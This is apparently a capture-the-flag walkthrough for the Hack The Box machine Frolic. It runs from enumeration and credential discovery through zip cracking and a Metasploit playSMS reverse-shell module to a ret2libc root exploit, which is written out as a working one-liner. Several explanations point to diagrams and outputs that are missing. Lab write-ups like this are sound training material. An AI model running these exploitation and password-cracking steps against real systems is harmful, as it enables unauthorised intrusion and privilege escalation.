Forlic

1.nmap scan

port exploration

9999: at 10.10.10.111:9999,it’s a simple nginx welcome page
445: smb is running on the 445,we can use common ways to find if there is something can be used

 smbmap -H 10.10.10.111 

smbmap shows nothing we can use

 smbclient -N -L //10.10.10.111

and smbclient also shows nothing interesting

1880: the 9999 port’s site gives us a url:http://forlic.htb:1880
it’s an admin web

dirsearch

we try dirsearch to all ports we find,and in 9999 there has some pages

10.10.10.111:9999/test has a phpinfo page
10.10.10.111:9999/backup has something useful
10.10.10.111:9999/dev is forbidden
10.10.10.111:9999/admin is an admin page

we can use curl 10.10.10.111:9999/backup/user.txt and curl 10.10.10.111:9999/backup/password.txt to get admin and imnothuman

dirsearch deeper

though the /dev is forbidden,we use dirsearch http:10.10.10.111:9999/dev to explore deeper
it has backup and test

in the /backup,it shows /playsms
in the /test,it provides a file name test
10.10.10.111:9999/playsms is another login page

/admin

the /admin loads a js hide the login information

the username is admin and the password is superduperlooperpassword_lol
after entering it,we can see a brainfuck code,and to decode it

https://www.dcode.fr/ook-language

it shows Nothing here check /asdiSIAJJ0QWE9JAS
after visit it,it displays a new page encoded,after decoded,we get some message

decode it,and it seems like a zip curl -s http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 -d | xxd

curl -s http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > index.php.zip
unzip it,it has a password
use fcrackzip to unpack it
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt out.zip
The options are -u to force actual unzip, which weeds out tons of fps, -D for dictionary, and -p rockyou.txt to pass the wordlist.and the password=password

Use xxd to read that back to bytes, which happens to be not only ASCII, but base64 characters cat index.php | xxd -r -p

decode it,and get the text
cat index.php | xxd -r -p | tr -d '\r\n' | base64 -d

it’s brainfuck,decode at https://copy.sh/brainfuck/ and get the phrase idkwhatispass

2.shell as web

now we have two password

1.admin/superduperlooperpassword_lol 2.admin/idkwhatispass
try it at /admin /playsms and final password2 worked on /playsms

use msfconsole
1
2
3
4
5
6
7
msfconsole
search playsms
use 1
set rhost 10.10.10.111
set rport 9999
set targeturi /playsms/index.php
set lhost 10.10.14.15

then we get a webshell

3.shell as root

first improve the shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
we can see some hide catelog in ayush's home the .binary has the suid,the rop in it is owned by root the rop's function is to get our input and output it we can first see what's configured
cat /proc/sys/kernel/randomize_va_space

it shows no ASLR
because we stright open it can’t read it,so we use base64 to read
and save it to local machine and use base64 -d rop_b64 > rop to restore it

open it in gdb with PEDA, and run checksec

we can force the program to crash

background

I can cause the program to crash by sending too much input which likely means I can overwrite the return address somewhere. Given that ASLR is disabled but DEP (NX) is enabled, the easiest attack path is to use Return to libc.

understand return to libc
1.stack

The stack starts at high memory addresses, and builds up to lower memory addresses. Inside any given function, there’s a stack frame. The bottom of the stack frame is stored in the RBP (or EBP on x86) register. The top is stored in RSP (or ESP). For example (and I’ll use 32-bit registers in this example since Frolic is 32-bit):

2.function call

When a function is called, the arguments are put onto the stack (either by adding space to the top or using the space already there). So, for example, the program comes to:

Just before the call, two addresses are stored in ESP and ESP+4. These are the addresses of the string to copy and the buffer to copy it to:

Now the call instruction is reached. It is going to push the next instruction to the top of the stack (as the return address), and then jump execution to the new function. The next function is going to start with some common stuff, known as the prologue:

So take that step by step. call pushes return address:

Now push ebp:

mov ebp, esp:

Finally sub esp, 0x100:

3. stack return

When a function is done, it will typically end with:

1
2
leave
ret

leave == mov esp, ebp + pop ebp
So the stack from before becomes:

Then when the return happens, the instruction pointer is popped, bringing that stack back to where it started:

4.What Is Return to libc

A return to libc attack involves overwriting the return address in such a way that the computer jumps to the function I want. The standard case is the system function, with the argument /bin/sh, giving me a shell.

If I were to call system(“/bin/sh”) normally, I would enter the function after the call but before the prologue with a stack like this:

The return address would be pushed onto the stack by the call instruction. But I’m not going to be going to system via a call, but rather a ret. So, I want the stack to look like this when I reach the return:

That way, ret will pop the system address into the instruction pointer, and the stack will look right. Since I don’t know the right return address, I’ll just use the function exit, so it cleanly exits when I’m done.

Find the Offset to EIP

open the file with gbb-peda,and When the program crashes, I can take EIP and find out where that was in the pattern using pattern offset

When the program crashes, I can take EIP and find out where that was in the pattern using pattern offset. I can use the ASCII or hex value:

To double check that, I’ll send in a buffer of 52 As and then 4 Bs:

Crash, with EIP as BBBB.

Addresses

Now I just need the addresses of system, exit, and /bin/sh in libc. This will vary on different hosts, so I’ll get the info with my shell on Frolic. First, I’ll get the base libc address with ldd,
Next, I’ll use readelf -s to get the offsets to various functions, and grep out system and exit,
Now I’ll use strings -a -t x to get the strings from libc with hex offsets, and grep for “/bin/sh”:

Now I can calculate the address for each of the three using any calculator (gdb here):

exploit

I can put that all together into this template: "A" * 52 + SYSTEM + EXIT + /bin/sh. I could write a python script to do this, but this case is simple enough that I can just do it as a one-liner. When I run that on Frolic, I’m root:
./rop $(python -c 'print("a"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')
now we finally get the flag